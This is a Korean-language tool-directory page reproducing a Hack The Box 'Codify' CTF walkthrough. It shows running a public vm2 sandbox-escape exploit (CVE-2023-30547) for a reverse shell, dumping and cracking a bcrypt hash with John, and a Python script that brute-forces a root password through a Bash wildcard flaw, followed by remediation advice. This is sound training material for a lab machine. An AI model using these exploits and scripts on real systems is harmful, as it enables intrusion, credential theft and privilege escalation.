Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Codify-TJNULL-OSCP- — Codify(Linux - Easy) 워크스루. vm2 RCE(CVE-2023-30547) 악용, SQLite DB 해시 추출, John을 이용한 Bcrypt 크래킹, `mysql-backup.sh`의 Bash 와일드카드 비교를 통한 권한 상승을 다룹니다. | Kitploit
도구/GitHubGitHub/r3fr4kt/codify-tjnull-oscp-
Privilege EscalationPassword AttacksExploitationWeb Application ExploitationInformation GatheringCTFPenetration TestingLearning & Education
GitHubr3fr4kt/codify-tjnull-oscp-

Codify-TJNULL-OSCP-

Codify(Linux - Easy) 워크스루. vm2 RCE(CVE-2023-30547) 악용, SQLite DB 해시 추출, John을 이용한 Bcrypt 크래킹, `mysql-backup.sh`의 Bash 와일드카드 비교를 통한 권한 상승을 다룹니다.

저장소 보기
18일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Hack The Box — Codify 라이트업

Difficulty OS Platform

Hack The Box의 Codify 머신에 대한 전체 침투 테스트 워크스루 및 라이트업입니다.


📌 머신 정보

필드값
이름Codify
OSLinux
난이도Easy
주요 개념vm2 RCE (CVE-2023-30547), SQLite DB 열거, Bcrypt 크래킹, Bash 와일드카드 패턴 매칭 악용

🛠️ 요약 / 공격 체인

root@kitploit:~
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
                                      ⬇️
  [SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
                                      ⬇️
   [Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
                                      ⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]

🔍 1단계: 정찰 및 정보 수집

1. 포트 탐색

열린 서비스를 발견하기 위해 전체 65,535개 TCP 포트에 대한 고속 스캔:

Bash

root@kitploit:~
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. 서비스 버전 탐지

포트 22, 80, 3000에 대한 상세 정보 수집:

Bash

root@kitploit:~
nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 2단계: 초기 접근 (거점 확보)

1. vm2 샌드박스 탈출 악용 (CVE-2023-30547)

포트 3000에서 실행 중인 웹 애플리케이션은 취약한 버전의 Node.js vm2 샌드박스 라이브러리를 사용합니다.

공개 익스플로잇 저장소를 클론합니다:

Bash

root@kitploit:~
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. 익스플로잇 실행

공격 머신에서 로컬 Netcat 리스너를 시작합니다:

Bash

root@kitploit:~
ncat -lnvp 4444

취약한 웹 애플리케이션을 대상으로 익스플로잇을 실행합니다:

Bash

root@kitploit:~
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

초기 거점 셸을 확인합니다:

Bash

root@kitploit:~
whoami

🔎 3단계: 내부 정보 수집 및 횡적 이동

1. SQLite 데이터베이스 정보 수집

웹 디렉터리 /var/www/contact로 이동하여 SQLite 데이터베이스를 확인합니다:

Bash

root@kitploit:~
cd /var/www/contact
ls -la
sqlite3 tickets.db

Joshua의 bcrypt 해시를 추출합니다:

SQL

root@kitploit:~
SELECT password FROM users WHERE username='joshua';

(CTRL + d를 눌러 종료)

2. Bcrypt 해시 크래킹

추출한 해시를 John the Ripper와 rockyou.txt를 사용하여 크래킹합니다:

Bash

root@kitploit:~
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. SSH 접근 및 User 플래그

크래킹한 Joshua의 자격 증명으로 SSH 인증을 수행합니다:

Bash

root@kitploit:~
ssh joshua@<TARGET_IP>
cat user.txt

⚡ 4단계: 권한 상승

1. Sudo 권한 정보 수집

사용자 joshua에게 허용된 sudo 명령어를 확인합니다:

Bash

root@kitploit:~
sudo -l

출력: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. 백업 스크립트 분석

/opt/scripts/mysql-backup.sh를 확인합니다:

Bash

root@kitploit:~
cat /opt/scripts/mysql-backup.sh

취약점: 이 스크립트는 Bash에서 따옴표로 묶지 않은 패턴 매칭([[ $USER_PASS == $DB_PASS* ]])을 사용합니다. 이로 인해 사용자 입력 내 와일드카드(*)를 사용하여 실제 비밀번호에 대해 문자 단위 무차별 대입(brute-force) 공격을 수행할 수 있습니다.

3. 자동화된 비밀번호 추출 (Python)

root 비밀번호를 문자 단위로 추출하는 bruteforce.py를 생성합니다:

Python

root@kitploit:~
import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

비밀번호를 추출하기 위해 스크립트를 실행합니다:

Bash

root@kitploit:~
python3 bruteforce.py

4. Root 플래그

추출한 비밀번호를 사용하여 root 사용자 컨텍스트로 전환합니다:

Bash

root@kitploit:~
su root
cat /root/root.txt

🛡️ 수정 및 완화 조치

  • Node.js 라이브러리 패치: vm2(CVE-2023-30547)와 같은 취약한 샌드박스 라이브러리를 폐기하거나 업그레이드합니다.

  • 안전한 Bash 스크립팅: 권한이 있는 스크립트에서 의도치 않은 패턴 매칭 및 와일드카드 주입을 방지하려면 문자열 비교 연산([[ "$USER_PASS" == "$DB_PASS" ]])에서 항상 변수를 따옴표로 묶습니다.

도구 다운로드